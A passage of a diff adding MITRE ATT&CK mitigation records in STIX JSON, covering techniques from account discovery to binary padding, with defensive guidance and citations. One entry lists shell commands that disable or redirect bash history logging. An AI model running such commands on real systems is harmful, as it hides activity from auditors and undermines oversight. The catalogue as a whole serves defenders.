"Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:03:37.885Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located HKLM\\ SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\CredUI\\EnumerateAdministrators. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration)\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Account Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--5c49bc54-9929-48ca-b581-7018219b5a97", + "external_references": [ + { + "external_id": "T1087", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1087" + }, + { + "source_name": "UCF STIG Elevation Account Enumeration", + "description": "UCF. (n.d.). The system must require username and password to elevate a running application.. Retrieved December 18, 2017.", + "url": "https://www.stigviewer.com/stig/microsoft_windows_server_2012_member_server/2013-07-25/finding/WN12-CC-000077" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:30:29.221Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "type": "course-of-action", + "name": "Account Manipulation Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--fdb1ae84-7b00-4d3d-b7dc-c774beef6425", + "external_references": [ + { + "external_id": "T1098", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1098" + } + ], + "modified": "2019-07-24T14:04:18.461Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure features related to account use like login attempt lockouts, specific login times, etc.", + "type": "course-of-action", + "name": "Account Use Policies", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c", + "external_references": [ + { + "external_id": "M1036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1036" + } + ], + "modified": "2019-06-13T16:07:21.233Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:32:21.854Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Configure Active Directory to prevent use of certain techniques; use SID Filtering, etc.", + "type": "course-of-action", + "name": "Active Directory Configuration", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462", + "external_references": [ + { + "external_id": "M1015", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1015" + } + ], + "modified": "2019-06-13T16:10:26.227Z", + "x_mitre_version": "1.0", + "created": "2019-06-06T16:39:58.291Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use signatures or heuristics to detect malicious software.", + "type": "course-of-action", + "id": "course-of-action--a6a47a06-08fc-4ec4-bdc3-20373375ebb9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Antivirus/Antimalware", + "external_references": [ + { + "external_id": "M1049", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1049" + } + ], + "modified": "2019-06-11T17:08:33.055Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:08:33.055Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "type": "course-of-action", + "name": "AppCert DLLs Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--95c29444-49f9-49f7-8b20-bcd68d8fcaa6", + "external_references": [ + { + "external_id": "T1182", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1182" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-24T14:31:05.778Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", + "type": "course-of-action", + "name": "AppInit DLLs Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--10571bf2-8073-4edf-a71c-23bad225532e", + "external_references": [ + { + "external_id": "T1103", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1103" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + } + ], + "modified": "2019-07-24T14:31:34.260Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Require that all AppleScript be signed by a trusted developer ID before being executed - this will prevent random AppleScript code from executing (Citation: applescript signing). This subjects AppleScript code to the same scrutiny as other .app files passing through Gatekeeper.", + "type": "course-of-action", + "name": "AppleScript Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--1e4ef2c7-ee96-4484-9baa-3b5777561301", + "external_references": [ + { + "external_id": "T1155", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1155" + }, + { + "source_name": "applescript signing", + "description": "Steven Sande. (2013, December 23). AppleScript and Automator gain new features in OS X Mavericks. Retrieved September 21, 2018.", + "url": "https://www.engadget.com/2013/10/23/applescript-and-automator-gain-new-features-in-os-x-mavericks/" + } + ], + "modified": "2019-07-24T14:31:55.409Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Grant access to application deployment systems only to a limited number of authorized administrators. Ensure proper system and access isolation for critical network systems through use of firewalls, account privilege separation, group policy, and multifactor authentication. Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network. Patch deployment systems regularly to prevent potential remote access through [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). \n\nIf the application deployment system can be configured to deploy only signed binaries, then ensure that the trusted signing certificates are not co-located with the application deployment system and are instead located on a system that cannot be accessed remotely or to which remote access is tightly controlled.", + "type": "course-of-action", + "name": "Application Deployment Software Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--c88151a5-fe3f-4773-8147-d801587065a4", + "external_references": [ + { + "external_id": "T1017", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1017" + } + ], + "modified": "2019-07-24T14:05:33.227Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", + "type": "course-of-action", + "id": "course-of-action--b9f0c069-abbe-4a07-a245-2481219a1463", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Isolation and Sandboxing", + "external_references": [ + { + "external_id": "M1048", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1048" + } + ], + "modified": "2019-06-11T17:06:56.230Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:06:56.230Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "type": "course-of-action", + "name": "Application Shimming Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--cfc2d2fc-14ff-495f-bd99-585be47b804f", + "external_references": [ + { + "external_id": "T1138", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1138" + } + ], + "modified": "2019-07-24T14:32:52.325Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Application Window Discovery Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--25d5e1d8-c6fb-4735-bc57-115a21222f4b", + "external_references": [ + { + "external_id": "T1010", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1010" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:33:18.063Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to record audio by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Audio Capture Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--16dd03c6-0dfb-4d77-89cd-9ff3ee6e533d", + "external_references": [ + { + "external_id": "T1123", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1123" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:33:42.430Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", + "type": "course-of-action", + "name": "Audit", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", + "external_references": [ + { + "external_id": "M1047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1047" + } + ], + "modified": "2019-06-11T17:06:14.029Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T17:06:14.029Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)", + "type": "course-of-action", + "name": "Authentication Package Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--943d370b-2054-44df-8be2-ab4139bde1c5", + "external_references": [ + { + "external_id": "T1131", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1131" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "Microsoft Configure LSA", + "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.", + "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx" + } + ], + "modified": "2019-07-24T14:34:11.298Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through [Input Capture](https://attack.mitre.org/techniques/T1056) and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through [Brute Force](https://attack.mitre.org/techniques/T1110) techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Automated Collection Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--8bd1ae32-a686-48f4-a6f8-470287f76152", + "external_references": [ + { + "external_id": "T1119", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1119" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:34:51.388Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Automated Exfiltration Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--2497ac92-e751-4391-82c6-1b86e34d0294", + "external_references": [ + { + "external_id": "T1020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1020" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx" + }, + { + "source_name": "TechNet Applocker vs SRP", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx" + } + ], + "modified": "2019-07-24T14:36:37.612Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, disabling all BITS functionality will likely have unintended side effects, such as preventing legitimate software patching and updating. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. (Citation: Mondok Windows PiggyBack BITS May 2007)\n\nModify network and/or host firewall rules, as well as other network controls, to only allow legitimate BITS traffic.\n\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)\n\nConsider reducing the default BITS job lifetime in Group Policy or by editing the JobInactivityTimeout and MaxDownloadTime Registry values in HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\BITS. (Citation: Microsoft BITS)", + "type": "course-of-action", + "name": "BITS Jobs Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173", + "external_references": [ + { + "external_id": "T1197", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1197" + }, + { + "source_name": "Mondok Windows PiggyBack BITS May 2007", + "description": "Mondok, M. (2007, May 11). Malware piggybacks on Windows\u2019 Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://arstechnica.com/information-technology/2007/05/malware-piggybacks-on-windows-background-intelligent-transfer-service/" + }, + { + "source_name": "Symantec BITS May 2007", + "description": "Florio, E. (2007, May 9). Malware Update with Windows Update. Retrieved January 12, 2018.", + "url": "https://www.symantec.com/connect/blogs/malware-update-windows-update" + }, + { + "source_name": "Microsoft BITS", + "description": "Microsoft. (n.d.). Background Intelligent Transfer Service. Retrieved January 12, 2018.", + "url": "https://msdn.microsoft.com/library/windows/desktop/bb968799.aspx" + } + ], + "modified": "2019-07-24T14:08:16.317Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "type": "course-of-action", + "name": "Bash History Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--ace4daee-f914-4707-be75-843f16da2edf", + "external_references": [ + { + "external_id": "T1139", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1139" + } + ], + "modified": "2019-07-24T14:37:14.608Z", + "x_mitre_deprecated": true, + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", + "type": "course-of-action", + "id": "course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Behavior Prevention on Endpoint", + "external_references": [ + { + "external_id": "M1040", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M1040" + } + ], + "modified": "2019-06-11T16:43:05.712Z", + "x_mitre_version": "1.0", + "created": "2019-06-11T16:43:05.712Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "type": "course-of-action", + "name": "Binary Padding Mitigation", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "course-of-action--16a8ac85-a06f-460f-ad22-910167bd7332", + "external_references": [ + { + "external_id": "T1009", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/T1009" + }, + { + "source_name": "Beechey 2010", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Corio 2008", + "description": "Corio, C., & Sayana, D. P. (2008, June). 